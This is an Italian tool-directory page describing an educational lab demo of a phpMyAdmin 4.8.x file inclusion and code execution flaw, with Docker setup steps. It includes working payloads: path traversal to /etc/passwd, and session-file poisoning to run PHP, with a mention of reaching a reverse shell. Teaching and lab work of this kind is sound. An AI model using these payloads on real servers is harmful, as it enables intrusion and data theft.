Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2018-1263-Demo — Demo educativa di exploit per CVE-2018-1263 (RCE/LFI in phpMyAdmin). Include configurazione dell'ambiente vulnerabile tramite Docker e guida passo-passo all'attacco per apprendere lo sfruttamento delle applicazioni web. | Kitploit
Strumenti/GitHubGitHub/sakib570/cve-2018-1263-demo
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubsakib570/cve-2018-1263-demo

CVE-2018-1263-Demo

Demo educativa di exploit per CVE-2018-1263 (RCE/LFI in phpMyAdmin). Include configurazione dell'ambiente vulnerabile tramite Docker e guida passo-passo all'attacco per apprendere lo sfruttamento delle applicazioni web.

Vedi Repository
114 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Exploit Demo

Questa guida ti aiuterà a installare il componente vulnerabile ed eseguire l'attacco relativo al bug di phpMyAdmin menzionato in CVE-2018-1263.

  • Descrizione della CVE
  • Perché la vulnerabilità esiste
  • Come funziona l'attacco
  • Come installare il componente vulnerabile
  • Come eseguire l'attacco

Descrizione della CVE

Questo exploit è relativo a un problema scoperto in phpMyAdmin versione 4.8.x precedente alla 4.8.2. Sfruttando il problema, un attaccante può eseguire codice remoto e includere file locali sul server. La vulnerabilità è dovuta alla porzione di codice responsabile del reindirizzamento e del caricamento delle pagine all'interno di phpMyAdmin. Il codice ha un test difettoso per le pagine in whitelist che rende possibile l'attacco. Un attaccante deve essere autenticato, tranne nel caso $cfg['AllowArbitraryServer'] = true (dove un attaccante può specificare qualsiasi host già sotto il suo controllo ed eseguire codice arbitrario su phpMyAdmin) e nel caso $cfg['ServerDefault'] = 0 (che aggira il requisito di accesso ed esegue il codice vulnerabile senza alcuna autenticazione).

Perché la vulnerabilità esiste

La vulnerabilità è causata da un bypass di validazione nella funzione vulnerabile di controllo del percorso. Questa vulnerabilità consente a un attaccante remoto autenticato di eseguire codice PHP arbitrario sul server.

C'è un'inclusione di file in index.php di phpMyAdmin che può essere innescata fornendo un parametro chiamato target nell'URL e la porzione di codice che valida il parametro target è la seguente:

root@kitploit:~
$target_blacklist = array (
    'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}
// ...

In questo codice, una volta che la condizione if è soddisfatta, esegue include $_REQUEST['target'];. Quindi dobbiamo solo aggirare la condizione if per eseguire ciò che vogliamo.

Osserviamo la condizione if

  1. Le prime due condizioni affermano che il parametro target non può essere vuoto e deve essere una stringa.
  2. La terza condizione impedisce al parametro target di iniziare con index.
  3. La quarta condizione impedisce che il parametro target sia in $target_blacklist
    • La $target_blacklist è definita subito prima della condizione if e include import.php e export.php, il che significa che tutto tranne queste due pagine è consentito.
  4. La quinta e ultima condizione è un controllo di whitelist per la validità della pagina utilizzando una funzione esistente nella classe Core: Core::checkPageValidity($_REQUEST['target']).
    • Come mostrato nel frammento di codice qui sotto, la funzione checkPageValidity rimuove tutto ciò che sta dopo ? da $page e verifica se è nella whitelist. La stringa dopo ? non fa parte del percorso dell'URL. Nello snippet è mostrata anche una whitelist di esempio.
    root@kitploit:~
    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        // ...
        $_page = mb_substr($page, 0, mb_strpos($page . '?', '?'));
        // example $whitelist == array('db_sql.php', 'sql.php', ...)
        if (in_array($_page, $whitelist)) {
            return true;
        }
        // ...
        return false;
    } 
    
    • Il punto importante da notare qui è che l'attaccante ha il controllo completo di $page, poiché arriva direttamente da $_REQUEST['target'].

Come funziona l'attacco

Come accennato in precedenza, l'attaccante ha il controllo completo su $page nella funzione checkPageValidity tramite il parametro $_REQUEST['target'] nell'URL. Immaginiamo che l'attaccante invii qualcosa come quanto segue usando il parametro $_REQUEST['target'] verso $page

root@kitploit:~
$page = 'db_sql.php?/../../../../../../../../etc/passwd'

La funzione checkPageValidity esegue quindi quanto segue

  1. Prima divide la stringa in corrispondenza di ? e assegna la prima parte a $page. Quindi in questo caso di esempio il valore di $page = db_sql.php.
  2. Successivamente controlla se $_page, cioè db_sql.php, è nella whitelist o no. Poiché è nella whitelist, la funzione restituisce True e si torna a index.php

Poiché la condizione if in index.php ora è True, esegue la riga seguente come mostrato nello snippet di codice di index.php sopra

root@kitploit:~
include $_REQUEST['target'];

Cosa succede dopo:

  • L'istruzione precedente include il valore non diviso di $_REQUEST['target'], il che significa che viene eseguito quanto segue
    root@kitploit:~
    GET /index.php?target=db_sql.php?/../../../../../../../../etc/passwd
    
  • Poiché PHP converte magicamente il percorso in /../../../../../../../../etc/passwd senza controllare se db_sql.php esiste o no, /../../../../../../../../etc/passwd viene eseguito e il contenuto del file /etc/passwd viene inviato nella risposta all'attaccante.

Ora possiamo usare questo per eseguire l'inclusione di file locali o persino l'esecuzione remota di codice per ottenere una reverse shell. Ogni volta che eseguiamo una query in phpMyAdmin, viene creato un file di sessione e memorizzato nella directory /tmp con il contenuto della query. Il file di sessione è chiamato sess_< ID_SESSIONE >. L'ID di sessione può essere facilmente trovato nel cookie usando l'opzione di ispezione del browser.

Quindi, se eseguiamo la seguente query in phpMyAdmin

root@kitploit:~
SELECT '<?php phpinfo();exit;?>'

Verrà memorizzata nel file di sessione. Immaginiamo che il nostro ID di sessione per phpMyAdmin sia e15cffd3ab25a631136611fba9ca2042

Quindi, se attiviamo il seguente indirizzo nel browser

root@kitploit:~
http://your-ip:8080/index.php?target=db_sql.php?/../../../../../../../../tmp/sess_e15cffd3ab25a631136611fba9ca2042

Allora phpMyAdmin proverà a caricare la pagina di sessione e, poiché la pagina contiene il codice PHP fornito tramite la query, il codice PHP verrà eseguito e in questo particolare esempio vedremo phpinfo nella pagina caricata dal browser. Usando questa tecnica possiamo eseguire qualsiasi codice arbitrario sul server remoto.

Come installare il componente vulnerabile

L'infrastruttura dell'exploit richiede una versione vulnerabile di phpMyAdmin e mysql. Useremo container docker per installare i componenti richiesti. Per la versione vulnerabile di phpMyAdmin useremo l'ambiente docker predefinito di Vulhub e per mysql useremo l'ultima versione ufficiale da dockerhub. Lo script di installazione è fornito come script yml di docker compose che si trova nel repository.

Supponiamo che la macchina in questione abbia docker e docker-compose installati. In caso contrario, fare riferimento alla documentazione di docker per installarli. Una volta installato docker, eseguire i seguenti passaggi per configurare il componente vulnerabile:

Per prima cosa clona il repository sulla macchina desiderata e spostati nella directory clonata

root@kitploit:~
git clone [email protected]:msnkhan/exploit-demo.git
cd exploit-demo

Quindi esegui lo script docker compose usando il seguente comando

root@kitploit:~
sudo docker-compose up -d

Una volta terminato il processo di installazione, docker esporrà la pagina di phpMyAdmin sulla porta 8080 della tua macchina. Puoi verificarlo aprendo la pagina nel browser usando il seguente formato di indirizzo

root@kitploit:~
http://your-machine-ip:8080

Se il processo di installazione ha avuto successo, dovresti vedere una pagina come la seguente

phpMyAdmin_homepage

Come eseguire l'attacco

Il seguente video è un tutorial su come eseguire l'attacco

Link al video: https://drive.google.com/file/d/1UbLGEwMYswdrRAOMJLd0mFHbsNl1aPvt/preview

Riferimenti

[1] https://www.exploit-db.com/exploits/44928

[2] https://github.com/vulhub/vulhub

[3] https://docs.docker.com/get-docker/

Scarica lo strumento